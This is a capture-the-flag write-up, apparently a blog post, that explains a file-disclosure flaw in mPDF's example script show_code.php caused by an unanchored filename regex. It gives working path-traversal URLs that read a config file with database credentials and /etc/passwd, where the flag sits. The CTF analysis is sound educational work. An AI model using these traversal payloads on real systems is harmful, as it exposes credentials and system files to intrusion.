Hello, here I am going to try explaining how to pwn the Web challenge on the 192.168.0.3 server. I am pretty surprised not so much teams managed to validate this flag, knowing how easy it was, compared to some other challenges.
I am sorry not to provide any screenshot, but I did not have the idea to take them while available.
Hence if you have participated to CTFs for at least two years, you probably noticed the required skill suddenly got quite high. Let us nevertheless not lose time trying to find reasons, and focus, instead, on the facts; I think the vulnerability I found was not expected by the PHD staff (not sure though).
To make it clear, I noticed one field seemed vulnerable to a special blind SQL injection, even though I was unable to be sure (I only participated 30 min in total).
Here we are going to exploit a File Disclosure vulnerability. This kind of flaws has the reputation of an extremely easy kind to find out AND exploit. Here, it is totally true, the only difference was the content was sent to the attacker as a PDF file; this is why I wonder if it was expected.
Enough bla bla, let’s pwn pwn!
Browsing the website, we notice there are 2 separated parts:
- The root folder – which contains the accessible and viewable content(articles, images).
- The mPDF folder – This old yummy CMS containing so many hidden unexplored parameters :’)
We have a nice source auditing work awaiting us… Ok, I am kidding, just look at the file show_code.php located in examples/
if ($_REQUEST['filename']) { $filename = $_REQUEST['filename']; }
[...]
preg_match('/example[0]{0,1}(\d+)_(.*?)\.php/',$filename,$m);
$num = intval($m[1]);
[...]
$text = file_get_contents($filename);
Look at the regexp and guess what we can notice:
- The (.*?) expression is permissive and may let any expression fit in.
- The developer forgot to mention the expression should end at the extension.
Consequently, this regexp only checks if the given expression contains ‘/example0_’ + $n + $anything + ‘.php’. Are you getting the idea?
We only have to craft an URI which contains the wanted pattern to p00n it!
http://192.168.0.3/mpdf50/examples/show_code.php?filename=example08_lists/../../../config.php
We then get to download a .pdf file, containing this:
mPDF
Example 8. Lists/../../../conf
<?php
$dburl = ‘localhost:/tmp/mysql.sock’;
$dbname = ‘phnews’;
$dblogin = ‘AngryUser_10_a’;
$dbpass = ’1337′;
?>
Hurray! We can read php files. Not enough? okay, let’s try something else:
192.168.0.3/mpdf50/examples/show_code.php?filename=example08_aa.php/../../../../../../../../etc/passwd
mPDF
Example 8. Aa
# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.6.1 2010/12/21 17:09:25 kensmith Exp $
#
root:*:0:0:Charlie & flag-09324204aba4bf368c53b1d679aa5827:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/usr/sbin/nologin
We now have the flag! (09324204aba4bf368c53b1d679aa5827 for lazy readerz).
In conclusion, organizing a CTF event is pretty hard, and can include for challengers to find some other attractive ways of exploitation that have not been thought.
Wall of shame:
$mpdf->WriteHTML($html,2); // The 2 is important to prevent <style etc. being parsed <– This is way far from your current issue, babe!
Exploit: http://www.exploit-db.com/exploits/18248/